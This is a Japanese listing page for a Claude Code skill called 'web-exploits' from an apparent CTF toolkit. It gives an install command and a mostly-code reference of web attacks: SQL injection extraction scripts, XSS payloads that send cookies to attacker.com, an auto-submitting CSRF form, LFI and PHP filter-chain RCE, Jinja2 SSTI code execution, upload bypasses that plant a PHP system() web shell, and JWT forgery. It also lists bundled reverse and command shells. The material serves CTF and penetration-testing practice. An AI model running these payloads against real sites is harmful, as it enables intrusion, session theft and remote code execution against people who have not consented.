web-exploits について
web-exploitsは、Webアプリの脆弱性を検査するセキュリティスキルです。複数の攻撃パターンを扱い、検出・検証用のペイロードとスクリプトを備えています。
主な機能
- 01SQLインジェクションとXSSのテスト
- 02CSRFとLFIのテスト
- 03SSTIの検出と検証
- 04ファイルアップロードの回避手法
- 05JWTトークンの操作
- 06スクリプトとペイロードの同梱
活用シーン
- 01WebアプリのSQLインジェクションやXSSの評価
- 02アップロードやパストラバーサル対策のテスト
- 03テンプレートインジェクションやJWTの弱点分析
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ g36maid/ ctf-arsenal --skill web-exploitsインストール後、Claude Code で/web-exploitsを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
csrf_grabber.pyjwt_tamper.pylfi_tester.pyREADME.mdssti_tester.pyupload_tester.pypayloads/.gitkeepcmd_injection.txtfile_upload_bypass.txtlfi.txtsqli_basic.txtsqli_mysql.txtssrf.txtssti_jinja2.txtxss_reflected.txtwebshells/.gitkeepaspx_cmd.aspxjsp_cmd.jspnode_cmd.jsphp_reverse.phpwordlists/.gitkeep詳細
Web エクスプロイトの手法
使用する場面
以下の場合にこのスキルを読み込みます:
- Web アプリケーションの脆弱性をテストする場合
- SQL インジェクション、XSS、または CSRF を悪用する場合
- ファイルアップロード制限を回避する場合
- LFI/RFI(ローカル/リモートファイルインクルージョン)をテストする場合
- SSTI(サーバーサイドテンプレートインジェクション)を悪用する場合
- JWT トークンを操作する場合
- Burp Suite で Web トラフィックを分析する場合
SQL インジェクション
検出と悪用
import requests
# Test for SQL injection
payloads = [
"'",
"' OR '1'='1",
"' OR '1'='1'--",
"' OR '1'='1' /*",
"admin' --",
"admin' #",
"' UNION SELECT NULL--",
]
for payload in payloads:
response = requests.post(url, data={'username': payload, 'password': 'test'})
if "error" in response.text or "mysql" in response.text.lower():
print(f"[!] Vulnerable to: {payload}")
UNION ベースの SQLi
# Step 1: Find number of columns
for i in range(1, 20):
payload = f"' UNION SELECT {','.join(['NULL']*i)}--"
response = requests.get(f"{url}?id={payload}")
if "error" not in response.text:
print(f"[+] Number of columns: {i}")
break
# Step 2: Extract data
payloads = [
"' UNION SELECT 1,version(),3--",
"' UNION SELECT 1,database(),3--",
"' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--",
"' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--",
"' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--",
]
ブラインド SQLi
# Time-based blind SQLi
import time
def time_based_sqli(url, param):
"""Check if parameter is vulnerable to time-based SQLi"""
payload = f"' AND SLEEP(5)--"
start = time.time()
response = requests.get(f"{url}?{param}={payload}")
elapsed = time.time() - start
if elapsed >= 5:
print(f"[+] Time-based SQLi confirmed on {param}")
return True
return False
# Boolean-based blind SQLi
def boolean_based_sqli(url):
"""Extract data character by character"""
result = ""
for i in range(1, 100): # Max 100 characters
for c in range(32, 127): # ASCII printable
payload = f"' AND ASCII(SUBSTRING(database(),{i},1))={c}--"
response = requests.get(f"{url}?id={payload}")
if "Welcome" in response.text: # Success indicator
result += chr(c)
print(f"[+] Found: {result}")
break
else:
break
return result
クロスサイトスクリプティング(XSS)
反射型 XSS
// Basic payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
// Bypass filters
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src=x onerror="alert(String.fromCharCode(88,83,83))">
<svg/onload=alert(1)>
// Extract cookies
<script>fetch('http://attacker.com/?c='+document.cookie)</script>
<img src=x onerror="location='http://attacker.com/?c='+document.cookie">
格納型 XSS
import requests
# Test stored XSS
xss_payloads = [
"<script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"<svg onload=alert(1)>",
'"><script>alert(1)</script>',
"';alert(1);//",
]
for payload in xss_payloads:
# Submit payload
requests.post(url + "/comment", data={'text': payload})
# Check if executed
response = requests.get(url + "/comments")
if payload in response.text:
print(f"[+] Stored XSS: {payload}")
CSRF(クロスサイトリクエストフォージェリ)
<html>
<body>
<form action="https://target.com/change_password" method="POST">
<input type="hidden" name="new_password" value="hacked123" />
<input type="hidden" name="confirm_password" value="hacked123" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
# Test CSRF protection
import requests
session = requests.Session()
# Login first
session.post(url + "/login", data={'user': 'admin', 'pass': 'admin'})
# Try action without token
response = session.post(url + "/delete_user", data={'id': '1'})
if response.status_code == 200:
print("[!] No CSRF protection!")
ローカルファイルインクルージョン(LFI)
パストラバーサル
# Common LFI payloads
lfi_payloads = [
"../../../../../etc/passwd",
"....//....//....//....//etc/passwd",
"..%2F..%2F..%2F..%2Fetc%2Fpasswd",
"....\/....\/....\/....\/etc\/passwd",
"/etc/passwd",
"php://filter/convert.base64-encode/resource=index.php",
"expect://whoami",
"data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7",
]
for payload in lfi_payloads:
response = requests.get(f"{url}?page={payload}")
if "root:" in response.text or "<?php" in response.text:
print(f"[+] LFI found: {payload}")
PHP フィルターチェーン(RCE)
# Use php://filter to achieve RCE
filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|"
filter_chain += "convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|"
# ... (full chain truncated for brevity)
filter_chain += "resource=data://,<?php system($_GET['cmd']); ?>"
response = requests.get(f"{url}?page={filter_chain}&cmd=whoami")
サーバーサイドテンプレートインジェクション(SSTI)
検出
# Test payloads for common template engines
ssti_tests = {
'Jinja2': "{{7*7}}", # Python (Flask)
'Twig': "{{7*7}}", # PHP
'ERB': "<%= 7*7 %>", # Ruby
'Smarty': "{7*7}", # PHP
'Velocity': "#set($x=7*7)$x", # Java
}
for engine, payload in ssti_tests.items():
response = requests.get(f"{url}?name={payload}")
if "49" in response.text:
print(f"[+] {engine} SSTI detected!")
Jinja2 の悪用
# Read file
payload = "{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}"
# RCE (Python 2)
payload = "{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.sh', 'w').write('#!/bin/bash\\nid') }}"
# RCE (Python 3)
payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
ファイルアップロードの回避
拡張子の回避
# Test various extensions
extensions = [
'php', 'php3', 'php4', 'php5', 'phtml', 'pht',
'php.jpg', 'php.png', 'php;.jpg',
'php%00.jpg', # Null byte injection
]
for ext in extensions:
filename = f"shell.{ext}"
files = {'file': (filename, "<?php system($_GET['cmd']); ?>", 'application/x-php')}
response = requests.post(url + "/upload", files=files)
if response.status_code == 200:
print(f"[+] Uploaded: {filename}")
Content-Type の回避
# Try different MIME types
content_types = [
'image/jpeg',
'image/png',
'image/gif',
'application/octet-stream',
]
for ctype in content_types:
files = {'file': ('shell.php', "<?php system($_GET['cmd']); ?>", ctype)}
response = requests.post(url + "/upload", files=files)
マジックバイトの回避
# Add GIF header to bypass file type checks
content = b"GIF89a" + b"<?php system($_GET['cmd']); ?>"
files = {'file': ('shell.php', content, 'image/gif')}
response = requests.post(url + "/upload", files=files)
JWT トークンの操作
import jwt
import base64
# Decode JWT
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..."
decoded = jwt.decode(token, options={"verify_signature": False})
print(decoded)
# None algorithm attack
header = base64.b64encode(b'{"typ":"JWT","alg":"none"}').strip(b'=')
payload = base64.b64encode(b'{"user":"admin"}').strip(b'=')
forged_token = header + b'.' + payload + b'.'
# Weak secret bruteforce
import hashlib
with open('wordlists/common.txt') as f:
for secret in f:
secret = secret.strip()
try:
jwt.decode(token, secret, algorithms=['HS256'])
print(f"[+] Found secret: {secret}")
break
except:
continue
クイックリファレンス
| 脆弱性 | 検出パターン | 悪用 |
|---|---|---|
| SQL インジェクション | ', ' OR 1=1-- | ' UNION SELECT ... |
| XSS | <script>alert(1)</script> | Cookie の窃取、セッションの乗っ取り |
| LFI | ../../../etc/passwd | 機密ファイルの読み取り、ログポイズニングによる RCE |
| SSTI | {{7*7}}, ${7*7} | テンプレートエンジン経由の RCE |
| ファイルアップロード | .php, .phtml のアップロード | Web シェルの実行 |
| CSRF | トークン検証なし | ユーザーに操作を強制する |
| JWT | alg: none、弱いシークレット | 権限昇格 |
同梱リソース
スクリプト
scripts/csrf_grabber.py- CSRF トークンを自動的に抽出scripts/jwt_tamper.py- JWT トークン操作ツールscripts/lfi_tester.py- LFI の自動テストscripts/ssti_tester.py- SSTI の検出と悪用scripts/upload_tester.py- ファイルアップロード回避のテスト
ペイロード
payloads/sqli_basic.txt- 基本的な SQL インジェクションのペイロードpayloads/sqli_mysql.txt- MySQL 固有のペイロードpayloads/xss_reflected.txt- XSS テストベクトルpayloads/ssti_jinja2.txt- Jinja2 SSTI ペイロードpayloads/cmd_injection.txt- コマンドインジェクションのパターンpayloads/lfi.txt- LFI/パストラバーサルのペイロードpayloads/ssrf.txt- SSRF テスト用 URLpayloads/file_upload_bypass.txt- 拡張子回避の手法
Web シェル
webshells/php_reverse.php- PHP リバースシェルwebshells/aspx_cmd.aspx- ASPX コマンドシェルwebshells/jsp_cmd.jsp- JSP コマンドシェルwebshells/node_cmd.js- Node.js シェル
テンプレート
templates/web_requests.py- セッション処理を含む Python requests テンプレート
ワードリスト
wordlists/- よく使われるユーザー名/パスワードのリスト(SecLists 由来)
キーワード
Web エクスプロイト、SQL インジェクション、SQLi、XSS、クロスサイトスクリプティング、CSRF、LFI、RFI、ローカルファイルインクルージョン、SSTI、テンプレートインジェクション、ファイルアップロード、Web シェル、JWT、JSON Web トークン、コマンドインジェクション、パストラバーサル、ディレクトリトラバーサル、Web セキュリティ、OWASP、Burp Suite、requests、beautifulsoup
コメント
Markdown 対応